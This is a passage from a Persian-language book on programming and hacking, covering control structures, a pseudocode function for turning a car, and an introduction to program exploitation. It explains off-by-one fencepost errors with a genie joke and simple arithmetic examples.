‫آن ﺳﺎدﮔﯽ ﻧﺒﻮدﻧﺪ‪ .‬آﻧﻬﺎ‪ ،‬ﺷﺎﻣﻞ ﺟﻤﻼﺗﯽ ﻣﺎﻧﻨﺪ ﻣﻮارد زﯾﺮ ﻫﺴﺘﻨﺪ‪:‬‬
‫"ﺗﺎ زﻣﺎﻧﯽ ﮐﻪ در ﺳﻤﺖ راﺳﺖ ﯾﮏ ﮐﻠﯿﺴﺎ دﯾﺪه ﻣﯽ ﺷﻮد در ﺧﯿﺎﺑﺎن اﺻﻠﯽ ﺣﺮﮐﺖ ﮐﻦ‪".‬‬
‫"اﮔﺮ ﺧﯿﺎﺑﺎن ﺑﻪ دﻟﯿﻞ ﺳﺎﺧﺖ و ﺳﺎز ﻣﺴﺪود ﺷﺪه اﺳﺖ‪ ،‬آﻧﮕﺎه ‪."...‬‬
‫اﯾﻦ ﺟﻤﻼت ﺗﺤﺖ ﻋﻨﻮان ﺳﺎﺧﺘﺎرﻫﺎی ﮐﻨﺘﺮﻟﯽ )‪ (control structure‬ﺷﺎﺧﺘﻪ ﻣـﯽ ﺷـﻮﻧﺪ ﮐـﻪ روﻧـﺪ اﺟـﺮای ﺑﺮﻧﺎﻣـﻪ را از‬
‫ﺣﺎﻟﺖ ﻣﺘﻮاﻟﯽ ﺑﻪ ﺟﺮﯾﺎﻧﯽ ﭘﯿﭽﯿﺪه ﺗﺮ و ﻣﻔﯿﺪ ﺗﺮ ﺗﺒﺪﯾﻞ ﻣﯽ ﺳﺎزد ﺑﻄﻮرﯾﮑـﻪ در آن اﻣﮑـﺎن اﻧﺘﺨـﺎب و ﮐﻨﺘـﺮل ﺣـﻮادث ﻧﯿـﺰ‬
‫وﺟﻮد دارد‪.‬‬
‫ﺑﻌﻼوه دﺳﺘﻮرات دور زدن ﻣﺎﺷﯿﻦ ﺑﺴﯿﺎر ﭘﯿﭽﯿﺪه ﺗﺮ از ﻋﺒﺎرت "در ﺧﯿﺎﺑﺎن ﺷﺎﻧﺰدﻫﻢ ﺑـﻪ ﺳـﻤﺖ راﺳـﺖ دور ﺑـﺰن اﺳـﺖ‬
‫)ﺑﭙﯿﭻ(‪ ".‬دور زدن ﻣﺎﺷﯿﻦ ﺷﺎﻣﻞ ﻣﻮاردی ﻫﻤﭽﻮن ﺗﻌﯿﯿﻦ ﻣﺴﯿﺮ ﺻﺤﯿﺢ ﺟﻬﺖ دور زدن‪ ،‬ﮐﻢ ﮐﺮدن ﺳﺮﻋﺖ‪ ،‬روﺷﻦ ﮐﺮدن‬
‫ﭼﺮاغ راﻫﻨﻤﺎ‪ ،‬ﭼﺮﺧﺎﻧﺪن ﻓﺮﻣﺎن ﻣﺎﺷﯿﻦ و ﻧﻬﺎﯾﺘﺎ اﻓﺰاﯾﺶ ﻣﺠﺪد ﺳـﺮﻋﺖ اﺳـﺖ‪ .‬ﭼـﻮن ﺑـﺴﯿﺎری از اﯾـﻦ اﻋﻤـﺎل ﺑـﺮای ﻫـﺮ‬
‫ﺧﯿﺎﺑﺎن ﻣﻤﮑﻦ ﯾﮑﺴﺎن ﺑﻮده و ﺗﮑﺮار ﻣﯽ ﺷﻮﻧﺪ‪ ،‬ﻟﺬا ﻣﯽ ﺗﻮان آﻧﻬﺎ را ﺑﻪ ﺷﮑﻞ ﺗـﺎﺑﻊ )‪ (function‬ﭘﯿـﺎده ﺳـﺎزی ﮐـﺮد‪ .‬ﺗـﺎﺑﻊ‬
‫ﻣﺠﻤﻮﻋﻪ ای از آرﮔﻮﻣﺎن ﻫﺎ را ﺑﻪ ﻋﻨﻮان ورودی ﻣﯽ ﭘﺬﯾﺮد‪ ،‬ورودی را ﺑﺎ دﺳﺘﻮرات ﺧﻮد ﭘـﺮدازش ﻣـﯽ ﮐﻨـﺪ‪ ،‬ﺳـﭙﺲ ﺑـﻪ‬
‫ﻣﺤﻠﯽ ﮐﻪ از آﻧﺠﺎ ﻓﺮاﺧﻮاﻧﯽ ﺷﺪه اﺳﺖ ﺑﺎز ﻣﯿﮕﺮدد‪ .‬ﺗﺎﺑﻊ ﻣﺘﻨﺎﻇﺮ ﺑﺮای دور زدن ﻣﺎﺷﯿﻦ در ﻗﺎﻟﺐ ﺷﺒﻪ ﮐﺪ ﻣﯽ ﺗﻮاﻧﺪ ﭼﯿﺰی‬
‫ﺷﺒﯿﻪ ﺑﻪ زﯾﺮ ﺑﺎﺷﺪ‪:‬‬
‫)‪Function Turn(the_direction, the_street‬‬
‫{‬
‫;‪locate the_street‬‬
‫;‪slow down‬‬

‫‪12‬‬
‫)‪if(the_direction == right‬‬
‫{‬
‫;‪turn on the right blinker‬‬
‫;‪turn the steering wheel to the right‬‬
‫}‬
‫‪else‬‬
‫{‬
‫;‪turn on the left blinker‬‬
‫;‪turn the steering wheel to the left‬‬
‫}‬
‫‪speed back up‬‬
‫}‬
‫ﻣﺎﺷﯿﻦ ﺑﺎ اﺳﺘﻔﺎده ﻣﮑﺮر از اﯾﻦ ﺗﺎﺑﻊ ﻣﯽ ﺗﻮاﻧﺪ ﺑﺪون ﻧﯿﺎز ﺑﻪ ﻧﻮﺷﺘﻦ دﺳﺘﻮرﻫﺎی ﺟﺰﺋﯽ در ﻫﺮ ﺑﺎر‪ ،‬در ﻫﺮ ﺧﯿﺎﺑﺎن و در ﻫـﺮ‬
‫ﺟﻬﺘﯽ دور ﺑﺰﻧﺪ‪ .‬ﻧﮑﺘﻪ ﻣﻬﻤﯽ ﮐﻪ ﺑﺎﯾﺪ ﺣﻮل ﺗﻮاﺑﻊ ﺑﻪ ﺧﺎﻃﺮ داﺷﺖ اﯾﻦ اﺳﺖ ﮐﻪ در ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ‪ ،‬روﻧﺪ اﺟﺮای ﺑﺮﻧﺎﻣـﻪ ﺑـﻪ‬
‫ﻣﮑﺎن ﻣﺘﻔﺎوﺗﯽ ﺟﻬﺖ اﺟﺮای ﺗﺎﺑﻊ ﭘﺮش ﻣﯽ ﮐﻨﺪ )‪ (jump‬و ﭘﺲ از ﭘﺎﯾﺎن اﺟﺮای ﺗﺎﺑﻊ‪ ،‬ﺑﻪ ﺣﻠﯽ ﮐﻪ ﻓﺮاﺧﻮاﻧﯽ ﺗـﺎﺑﻊ از آﻧﺠـﺎ‬
‫ﺻﻮرت ﮔﺮﻓﺘﻪ ﺑﻮد ﺑﺎز ﻣﯽ ﮔﺮدد‪.‬‬
‫آﺧﺮﯾﻦ ﻧﮑﺘﻪ راﺟﻊ ﺑﻪ ﺗﻮاﺑﻊ اﯾﻦ اﺳﺖ ﮐﻪ ﻫﺮ ﺗﺎﺑﻊ ﻣﻔﺎد ﯾﺎ زﻣﯿﻨﻪ )‪ (context‬ﻣﺮﺑـﻮط ﺑـﻪ ﺧـﻮد را دارد‪ ،‬ﯾﻌﻨـﯽ ﻣﺘﻐﯿﺮﻫـﺎی‬
‫ﻣﺤﻠﯽ درون ﻫﺮ ﺗﺎﺑﻊ ﻣﻨﺤﺼﺮ ﺑﻪ ﺧﻮد آن ﺗﺎﺑﻊ اﺳﺖ‪ .‬ﻫﺮ ﺗﺎﺑﻊ زﻣﯿﻨﻪ ﯾﺎ ﻣﺤﯿﻂ )‪ (environment‬ﻣﺨﺼﻮص ﺑـﻪ ﺧـﻮد دارد‬
‫ﮐﻪ در ﻗﺎﻟﺐ آن اﺟﺮا ﻣﯽ ﮔﺮدد‪ .‬ﻫﺴﺘﻪ ﺑﺮﻧﺎﻣﻪ‪ ،‬ﺧﻮد ﯾﮏ ﺗﺎﺑﻊ ﺑﺎ زﻣﯿﻨﻪ ﻣﺮﺑﻮط ﺑﻪ ﺧﻮد اﺳـﺖ و در ﺻـﻮرت ﻓﺮاﺧـﻮاﻧﯽ ﻫـﺮ‬
‫ﺗﺎﺑﻊ از اﯾﻦ ﺗﺎﺑﻊ اﺻﻠﯽ‪ ،‬زﻣﯿﻨﻪ ای ﺟﺪﯾﺪ در ﺗﺎﺑﻊ اﺻﻠﯽ ﺑﺮای ﺗﺎﺑﻊ ﻓﺮاﺧﻮاﻧﯽ ﺷﺪه اﯾﺠـﺎد ﻣـﯽ ﮔـﺮدد‪ .‬اﮔـﺮ ﺗـﺎﺑﻊ ﻓﺮاﺧـﻮاﻧﯽ‬
‫ﺷﺪه‪ ،‬ﺗﺎﺑﻊ ﺟﺪﯾﺪ دﯾﮕﺮی را ﻓﺮاﺧﻮاﻧﯽ ﮐﻨﺪ‪ ،‬زﻣﯿﻨﻪ ای ﺟﺪﯾﺪ درون زﻣﯿﻨﻪ ﺗﺎﺑﻊ ﻗﺒﻠﯽ ﺑﺮای آن اﯾﺠﺎد ﻣﯽ ﺷﻮد و اﯾـﻦ روﻧـﺪ‬
‫ﺑﻪ ﻫﻤﯿﻦ ﻣﻨﻮال اداﻣﻪ ﻣﯽ ﯾﺎﺑﺪ‪ .‬اﯾﻦ ﻻﯾﻪ ﺑﻨﺪی در زﻣﯿﻨﻪ ﻫﺎی ﺗﺎﺑﻌﯽ‪ ،‬ﺑـﻪ ﻧـﻮﻋﯽ اﻣﮑـﺎن اَﺗﻤﯿـﮏ ﺑـﻮدن )‪ (atomic‬ﺗﻮاﺑـﻊ را‬
‫ﻓﺮاﻫﻢ ﻣﯽ ﺳﺎزد‪ ،‬ﯾﻌﻨﯽ ﻫﺮ ﺗﺎﺑﻊ ﺑﻪ ﺻﻮرت ﻫﺴﺘﻪ ای و ﻣﺘﻤﺮﮐﺰ و دارای ﻣﺎﻫﯿﺖ ﻣﺴﺘﻘﻞ از دﯾﮕﺮان اﺳﺖ‪.‬‬
‫ﺳﺎﺧﺘﺎرﻫﺎی ﮐﻨﺘﺮﻟﯽ و ﻣﻔﺎﻫﯿﻢ ﺗﺎﺑﻌﯽ ﻣﻮﺟﻮد در ﺷﺒﻪ ﮐﺪ در ﺑﺴﯿﺎری از زﺑﺎن ﻫﺎی ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻣﺨﺘﻠﻒ ﻧﯿﺰ وﺟـﻮد دارد‪.‬‬
‫ﻇﺎﻫﺮ و ﺳﺎﺧﺘﺎر ﺷﺒﻪ ﮐﺪ را ﻣﯽ ﺗﻮان ﺑﻪ ﻫﺮ ﺻﻮرﺗﯽ ﺗﻐﯿﯿﺮ داد‪ ،‬اﻣﺎ ﺷﺒﻪ ﮐﺪﻫﺎی ﻗﺒﻠﯽ ﻃﻮری ﻧﻮﺷﺘﻪ ﺷﺪه ﺑﻮدﻧﺪ ﮐﻪ ﺑﻪ زﺑـﺎن‬
‫‪ C‬ﺷﺒﺎﻫﺖ ﻧﺰدﯾﮑﯽ ﯾﺎﺑﻨﺪ و ﺑﻪ دﻟﯿﻞ ﻣﺤﺒﻮﺑﯿﺖ و ﮐﺎرﺑﺮد وﺳﯿﻊ زﺑﺎن ‪ ،C‬اﯾﻦ ﺗﺸﺎﺑﻪ ﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﺷﻮد‪ .‬در ﺣﻘﯿﻘﺖ ﺷﺎﻟﻮده‬
‫اﺻﻠﯽ ﻟﯿﻨﻮﮐﺲ و دﯾﮕﺮ ﭘﯿﺎده ﺳﺎزی ﻫﺎی ﻣﺪرن از ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ ﯾﻮﻧﯿﮑﺲ ﺑﻪ زﺑﺎن ‪ C‬ﻧﻮﺷـﺘﻪ ﺷـﺪه اﻧـﺪ‪ .‬ﭼـﻮن ﻟﯿﻨـﻮﮐﺲ‪،‬‬
‫ﯾﮏ ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ ﮐﺪ‪-‬ﺑﺎز ﺑﺎ دﺳﺘﯿﺎﺑﯽ آﺳﺎن ﺑﻪ ﮐﺎﻣﭙﺎﯾﻠﺮﻫﺎ‪ ،‬اﺳﻤﺒﻠﺮﻫﺎ و دﯾﺒﺎﮔﺮﻫﺎ اﺳﺖ‪ ،‬ﻟﺬا ﺑﻪ ﯾﮏ ﭘﻼﺗﻔـﺮم ﻋـﺎﻟﯽ ﺟﻬـﺖ‬
‫ﯾﺎدﮔﯿﺮی ﺗﺒﺪﯾﻞ ﻣﯽ ﺷﻮد‪ .‬در اﯾﻦ ﮐﺘﺎب ﻓﺮض ﺑﺮ آن اﺳﺖ ﮐﻪ ﺗﻤﺎم ﻋﻤﻠﯿﺎت ﺑﺮ روی ﺳﯿﺴﺘﻤﯽ ﺑـﺎ ﯾـﮏ ﭘﺮدازﻧـﺪه ﻣﺒﺘﻨـﯽ‬
‫ﺑﺮ‪ x86‬و ﯾﮏ ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ ﻟﯿﻨﻮﮐﺲ اﻧﺠﺎم ﻣﯽ ﺷﻮد‪.‬‬

‫‪ .2,2‬اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ‬

‫اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻫﺎ‪ ،‬ﯾﮏ ﺳﺘﻮن از ﻫﮑﯿﻨﮓ اﺳﺖ‪ .‬ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﺗﻨﻬﺎ ﻣﺠﻤﻮﻋﻪ ای ﭘﯿﭽﯿﺪه از ﻗﻮاﻧﯿﻦ ﻫـﺴﺘﻨﺪ ﮐـﻪ ﯾـﮏ‬
‫ﺟﺮﯾﺎن اﺟﺮاﺋﯽ ﺧﺎص را دﻧﺒﺎل ﮐﺮده و ﺑﻪ ﮐﺎﻣﭙﯿﻮﺗﺮ ﻣﯽ ﮔﻮﯾﻨﺪ ﮐﻪ ﭼﻪ ﮐﺎری اﻧﺠﺎم دﻫﺪ‪ .‬اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﯾﮏ ﺑﺮﻧﺎﻣـﻪ در‬
‫واﻗﻊ راﻫﯽ زﯾﺮﮐﺎﻧﻪ ﺟﻬﺖ اﻧﺠﺎم ﮐﺎرﻫﺎی ﻣﻮرد ﻧﻈﺮﻣﺎن ﺗﻮﺳﻂ ﮐﺎﻣﭙﯿﻮﺗﺮ اﺳﺖ‪ ،‬ﺣﺘﯽ اﮔـﺮ ﺑﺮﻧﺎﻣـﻪ ﻓﻌﻠـﯽ در ﺣـﺎل اﺟـﺮا‪ ،‬از‬
‫اﻧﺠﺎم آن ﮐﺎر ﻣﻨﻊ ﺷﺪه ﺑﺎﺷﺪ‪ .‬ﭼﻮن ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻋﻤﻼ ﮐﺎری را اﻧﺠﺎم ﻣﯽ دﻫﺪ ﮐﻪ ﺑـﺮای آن ﻃﺮاﺣـﯽ ﺷـﺪه ﺑﺎﺷـﺪ‪ ،‬ﺑـﻪ اﯾـﻦ‬
‫ﺻﻮرت ﺣﻔﺮه ﻫﺎی اﻣﻨﯿﺘﯽ‪ ،7‬ﻧﻘﺎﯾﺺ ﯾﺎ ﺳﻬﻮاﺗﯽ در ﻃﺮاﺣﯽ ﺑﺮﻧﺎﻣﻪ ﯾﺎ ﻣﺤﯿﻂ اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﻫﺴﺘﻨﺪ‪ .‬ﭘﯿﺪا ﮐـﺮدن اﯾـﻦ ﺣﻔـﺮه‬
‫ﻫﺎ و ﻧﻮﺷﺘﻦ ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ ﮐﻪ آﻧﻬﺎ را ﺗﺼﺤﯿﺢ ﮐﻨﺪ‪ ،‬ذﻫﻦ ﺧﻼﻗﯽ ﻣﯽ ﻃﻠﺒﺪ‪ .‬ﺑﺮﺧـﯽ ﻣﻮاﻗـﻊ اﯾـﻦ ﺣﻔـﺮه ﻫـﺎ ﺣﺎﺻـﻞ ﺧﻄﺎﻫـﺎی‬

‫‪7‬‬
‫‪Security Holes‬‬
‫‪13‬‬
‫ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻧﺴﺒﺘﺎ آﺷﮑﺎری ﻫﺴﺘﻨﺪ‪ ،‬اﻣﺎ ﺧﻄﺎﻫﺎی آﺷﮑﺎر ﮐﻤﺘﺮی وﺟﻮد دارﻧﺪ ﮐﻪ ﺑﻮاﺳﻄﻪ آﻧﻬﺎ ﺑﺘـﻮان ﮐـﺎرﮐﺮد ﺗﮑﻨﯿـﮏ‬
‫ﻫﺎی اﮐﺴﭙﻠﻮﯾﺘﻨﮓ ﭘﯿﭽﯿﺪه ﺗﺮ را در ﻣﮑﺎن ﻫﺎی ﻣﺨﺘﻠﻒ ﭘﺎﯾﻪ ﮔﺬاری ﮐﺮد‪.‬‬
‫ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺗﻨﻬﺎ ﻣﯽ ﺗﻮاﻧﺪ ﮐﺎری را اﻧﺠﺎم دﻫﺪ ﮐﻪ ﺑﺮای آن ﺑﺮﻧﺎﻣﻪ رﯾﺰی )ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ( ﺷﺪه ﺑﺎﺷﺪ‪ .‬ﻣﺘﺎﺳﻔﺎﻧﻪ ﺑﺮﻧﺎﻣـﻪ ای‬
‫ﮐﻪ ﻧﻮﺷﺘﻪ ﻣﯽ ﺷﻮد ﻫﻤﯿﺸﻪ ﺑﺎ آن ﭼﯿﺰی ﮐﻪ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ در اﺟﺮای ﺑﺮﻧﺎﻣﻪ از آن اﻧﺘﻈﺎر دارد ﻣﻨﻄﺒﻖ ﻧﯿﺴﺖ‪ .‬اﯾﻦ اﺻـﻞ را‬
‫ﻣﯽ ﺗﻮان ﺑﺎ ﯾﮏ ﻟﻄﯿﻔﻪ ﺑﯿﺎن ﮐﺮد‪:‬‬
‫ﻣﺮدی از ﻣﯿﺎن ﺑﯿﺸﻪ ای ﻣﯽ ﮔﺬﺷﺖ‪ ،‬ﻧﺎﮔﻬﺎن ﯾﮏ ﭼﺮاغ ﺟﺎدو روی زﻣﯿﻦ ﯾﺎﻓﺖ‪ .‬ﺑﻪ ﻃـﻮر ﻏﯿـﺮارادی ﭼـﺮاغ را ﺑﺮداﺷـﺖ و‬
‫روی آن را ﺑﺎ آﺳﺘﯿﻨﺶ ﭘﺎک ﮐﺮد‪ .‬ﻧﺎﮔﻬﺎن ﻏﻮل ﭼﺮاغ ﺟﺎدو ﻇﺎﻫﺮ ﺷﺪ‪ .‬ﻏﻮل از ﻣﺮد ﺑﻪ ﺧﺎﻃﺮ آزاد ﺳﺎﺧﺘﻦ او ﺗﺸﮑﺮ ﮐﺮد و‬
‫ﺑﻪ او ﺑﺮآوردن ﺳﻪ آرزو را ﻧﻮﯾﺪ داد‪ .‬ﻣﺮد دﻗﯿﻘﺎ ﻣﯽ داﻧﺴﺖ ﮐﻪ ﭼﻪ ﻣﯽ ﺧﻮاﻫﺪ‪:‬‬
‫اﺑﺘﺪا ﮔﻔﺖ‪ :‬ﻣﻦ ﯾﮏ ‪ 10‬ﻣﯿﻠﯿﺎرد ﺗﻮﻣﺎن ﭘﻮل ﻣﯽ ﺧﻮاﻫﻢ‪.‬‬
‫ﻏﻮل ﯾﮏ ﺑﺸﮑﻦ زد و ﻧﺎﮔﻬﺎن ﯾﮏ ﭼﻤﺪان ﭘﺮ از ﭘﻮل از ﻫﻮا ﺑﻪ داﻣﺎن او اﻓﺘﺎد‪.‬‬
‫ﺳﭙﺲ ﻣﺮد ﺑﺎ ﭼﺸﻤﺎﻧﯽ ﺣﯿﺮت زده اداﻣﻪ داد‪ :‬ﻣﻦ ﯾﮏ ﻣﺎﺷﯿﻦ ﻓﺮاری ﻣﯽ ﺧﻮاﻫﻢ‪.‬‬
‫ﻏﻮل ﯾﮏ ﺑﺸﮑﻦ زد و ﻧﺎﮔﻬﺎن ﯾﮏ ﻣﺎﺷﯿﻦ ﻓﺮاری ﻇﺎﻫﺮ ﺷﺪ‪.‬‬
‫ﺳﭙﺲ ﻣﺮد اداﻣﻪ داد‪ :‬ﺳﺮاﻧﺠﺎم ﻣﯽ ﺧﻮاﻫﻢ آﻧﻘﺪر ﻣﻄﻠﻮب و زﯾﺒﺎ ﺑﻪ ﻧﻈﺮ آﯾﻢ ﮐﻪ ﻫﯿﭻ زﻧﯽ ﺗﺎب ﺗﺤﻤﻠﻢ ﺑﺮ ﻧﺘﺎﺑﺪ!‬
‫ﻏﻮل ﺑﺸﮑﻨﯽ زد و ﻣﺮد ﺗﺒﺪﯾﻞ ﺑﻪ ﯾﮏ ﺟﻌﺒﻪ ﺷﮑﻼت ﺷﺪ!!‬
‫ﻣﺮد ﻣﯽ داﻧﺴﺖ ﮐﻪ ﭼﻪ ﻣﯽ ﺧﻮاﻫﺪ اﻣﺎ ﺑﻪ ﯾﮏ ﺟﻌﺒﻪ ﺷﮑﻼت ﺗﺒﺪﯾﻞ ﺷﺪ! درﺳﺖ ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻧﺘﯿﺠﻪ آﺧﺮﯾﻦ آرزوی ﻣﺮد‬
‫ﺑﺎ آن ﭼﻪ ﮔﻔﺘﻪ ﺑﻮد ﺗﻔﺎوت ﯾﺎﻓﺖ‪ ،‬ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻧﯿﺰ دﻗﯿﻘﺎ دﺳﺘﻮرات را دﻧﺒﺎل و اﺟﺮا ﻣﯽ ﮐﻨﺪ‪ ،‬اﻣﺎ ﻧﺘﺎﯾﺞ ﻫﻤﯿﺸﻪ ﻣﻄﺎﺑﻖ ﻧﻈـﺮ و‬
‫ﻣﯿﻞ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﻧﺨﻮاﻫﻨﺪ ﺑﻮد و ﮔﺎﻫﯽ اوﻗﺎت ﺑﻪ ﻧﺘﺎﯾﺞ ﻏﯿﺮﻗﺎﺑﻞ ﭘﯿﺶ ﺑﯿﻨﯽ و ﺣﺘﯽ ﻓﺎﺟﻌﻪ ﻫﺎی ﻋﻈﯿﻢ ﺧﻮاﻫﻨﺪ رﺳﯿﺪ‪.‬‬
‫ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﻫﺎ اﻧﺴﺎن و از ﻧﻮع ﺑﺸﺮﻧﺪ و ﺑﻌﻀﯽ ﻣﻮاﻗﻊ ﭼﯿﺰی ﮐﻪ ﻣﯽ ﻧﻮﯾﺴﻨﺪ‪ ،‬دﻗﯿﻘـﺎ آن ﭼﯿـﺰی ﻧﯿـﺴﺖ ﮐـﻪ ﻣﻨﻈﻮرﺷـﺎن‬
‫ﺑﻮده اﺳﺖ‪ .‬ﺑﺮای ﻣﺜﺎل‪ ،‬ﯾﮏ ﺧﻄﺎی ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻣﻌﻤﻮل وﺟﻮد دارد ﮐﻪ ﺑﺎ ﻧـﺎم ‪ off-by-one‬ﺷـﻨﺎﺧﺘﻪ ﻣـﯽ ﺷـﻮد‪ .‬ﻫﻤـﺎن‬
‫ﻃﻮر ﮐﻪ ﻧﺎم اﯾﻦ ﺧﻄﺎ ﻧﺸﺎن ﻣﯽ دﻫﺪ‪ ،‬ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﺑﻪ ﻣﯿﺰﺑﺎن ﯾﮏ واﺣﺪ در ﻣﺤﺎﺳﺒﺎت ﺧـﻮد اﺷـﺘﺒﺎه ﻣـﯽ ﮐﻨـﺪ‪ .‬اﯾـﻦ ﺧﻄـﺎ‬
‫ﺧﯿﻠﯽ ﺑﯿﺸﺘﺮ از آﻧﮑﻪ ﻓﮑﺮش را ﺑﮑﻨﯿﺪ اﺗﻔﺎق ﻣﯽ اﻓﺘﺪ‪ .‬ﺷﺎﯾﺪ ﺑﺘـﻮان آﻧـﺮا ﺑـﺎ ﯾـﮏ ﺳـﻮال ﺑﻬﺘـﺮ ﺗﻮﺿـﯿﺢ داد‪ :‬اﮔـﺮ در ﺣـﺎل‬
‫ﺳﺎﺧﺘﻦ ﯾﮏ دﯾﻮار ‪ 100‬ﭘﺎﯾﯽ ﺑﺎﺷﯿﺪ ﮐﻪ در آن ﺳﺘﻮن ﻫﺎ ﺑﻪ ﻓﺎﺻﻠﻪ ‪ 10‬ﭘﺎ از ﯾﮑﺪﯾﮕﺮ ﻓﺎﺻﻠﻪ دارﻧﺪ‪ ،‬ﭼﻪ ﺗﻌﺪاد ﺳﺘﻮن ﺑﺮای‬
‫اﯾﻦ دﯾﻮار ﻧﯿﺎز اﺳﺖ؟ ﺟﻮاب واﺿﺢ اﺳﺖ‪ 10 ،‬ﺳﺘﻮن‪ .‬اﻣﺎ اﯾﻦ ﺟﻮاب ﻧﺎدرﺳﺖ اﺳﺖ و ﻋﻤﻼ ‪ 11‬ﺳﺘﻮن اﺣﺘﯿـﺎج ﻣـﯽ ﺑﺎﺷـﺪ‪.‬‬
‫ﺧﻄﺎی ‪ off-by-one‬را ﻣﻌﻤﻮﻻ ﺧﻄﺎی ﺳﺘﻮن‪-‬دﯾﻮار )‪ (fencepost error‬ﻣﯽ ﻧﺎﻣﻨـﺪ و زﻣـﺎﻧﯽ رخ ﻣـﯽ دﻫـﺪ ﮐـﻪ ﺑﺮﻧﺎﻣـﻪ‬
‫ﻧﻮﯾﺲ ﺳﻬﻮاً اﺷﯿﺎ را ﺑﺠﺎی ﻓﻀﺎی ﺑﯿﻦ اﺷﯿﺎ ﻣﯽ ﺷﻤﺎرد و ﺑﻪ ﻋﮑﺲ‪ .‬ﻣﺜﺎﻟﯽ دﯾﮕﺮ زﻣﺎﻧﯽ اﺳﺖ ﮐـﻪ ﺑﺮﻧﺎﻣـﻪ ﻧـﻮﯾﺲ ﺳـﻌﯽ ﺑـﺮ‬
‫اﻧﺘﺨﺎب ﻣﺤﺪوده ای از ارﻗﺎم ﯾﺎ اﺷﯿﺎ ﺑﺮای ﭘﺮدازش دارد‪ ،‬ﺑـﺮای ﻣﺜـﺎل اﺷـﯿﺎی ﻣﻮﺟـﻮد ﺑـﯿﻦ ‪ N‬ﺗـﺎ ‪ .M‬ﺑـﺎ ﻓـﺮض ‪ N=5‬و‬
‫‪ ،M=17‬ﺗﻌﺪاد اﺷﯿﺎ ﺑﺮای ﭘﺮدازش ﭼﻨﺪ اﺳﺖ؟ ﺟـﻮاب آﺷـﮑﺎر ﺑﺮاﺑـﺮ اﺳـﺖ ﺑـﺎ ‪ M–N‬ﯾـﺎ ‪ .17-5 =12‬اﻣـﺎ اﯾـﻦ ﺟـﻮاب‬
‫ﻧﺎدرﺳﺖ اﺳﺖ‪ ،‬ﭼﻮن در ﺣﻘﯿﻘﺖ ‪ M-N+1‬ﺷﯽ ﺑﯿﻦ ‪ N‬و ‪ M‬وﺟﻮد دارد ﮐﻪ ﺟﻤﻌﺎ ‪ 13‬ﺷﯽ ﻣﯽ ﺷﻮﻧﺪ‪ .‬اوﻟـﯿﻦ ﺑـﺎر‪ ،‬ﻣﻤﮑـﻦ‬
‫اﺳﺖ اﯾﻦ ﻧﮑﺎت ﻏﯿﺮﻣﻨﻄﻘﯽ ﺑﻪ ﻧﻈﺮ ﺑﯿﺎﯾﻨﺪ‪ .‬اﻣﺎ ﺣﻘﯿﻘﺖ ﻣﺎﺟﺮا ﻧﯿﺰ ﻫﻤﯿﻦ اﺳﺖ‪ ،‬ﺑﻪ دﻟﯿـﻞ ﻏﯿﺮﻣﻨﻄﻘـﯽ ﺑـﻪ ﻧﻈـﺮ رﺳـﯿﺪن اﯾـﻦ‬
‫ﻧﮑﺎت اﺳﺖ ﮐﻪ اﯾﻦ ﺧﻄﺎﻫﺎ ﺑﻮﺟﻮد ﻣﯽ آﯾﻨﺪ‪.‬‬
‫ﭼﻮن ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﺑﺮای ﻫﺮ اﺣﺘﻤﺎل واﺣﺪ ﺑﺮرﺳﯽ ﻧﺸﺪه و ﺗﺎﺛﯿﺮاﺗﺸﺎن در ﺧﻼل ﯾﮏ اﺟـﺮای ﻣﻌﻤـﻮﻟﯽ از ﺑﺮﻧﺎﻣـﻪ ﻇـﺎﻫﺮ ﻧﻤـﯽ‬
‫ﺷﻮد‪ ،‬ﻟﺬا ﻣﻌﻤﻮﻻ ﺧﻄﺎﻫﺎی ﺳﺘﻮن‪-‬دﯾﻮار ﮐﻤﺘﺮ ﺗﺸﺨﯿﺺ داده ﻣﯽ ﺷﻮﻧﺪ‪ .‬ﺑﻪ ﻫﺮ ﺣﺎل زﻣﺎﻧﯽ ﮐﻪ ﯾﮏ ورودی ﺑﻪ ﺑﺮﻧﺎﻣـﻪ داده‬
‫ﺷﻮد ﮐﻪ ﺗﺎﺛﯿﺮات ﺧﻄﺎ را آﺷﮑﺎر ﺳﺎزد‪ ،‬ﺗﻮاﻟﯽ ﺧﻄﺎﻫﺎی ﻣﻮﺟﻮد در ﺑﺮﻧﺎﻣـﻪ ﺗـﺎﺛﯿﺮات ﻣﻬﻤـﯽ در ﺳـﺎﺧﺘﺎر ﻣﻨﻄﻘـﯽ در اداﻣـﻪ‬
‫اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﺧﻮاﻫﺪ داﺷﺖ‪ .‬اﮔﺮ اﯾﻦ ﺧﻄﺎﻫﺎ ﺑﻪ درﺳﺘﯽ اﮐﺴﭙﻠﻮﯾﺖ ﺷﻮﻧﺪ‪ ،‬ﯾﮏ ﺧﻄﺎی ﺳﺘﻮن‪-‬دﯾﻮار ﻣﯽ ﺗﻮاﻧﺪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ‬
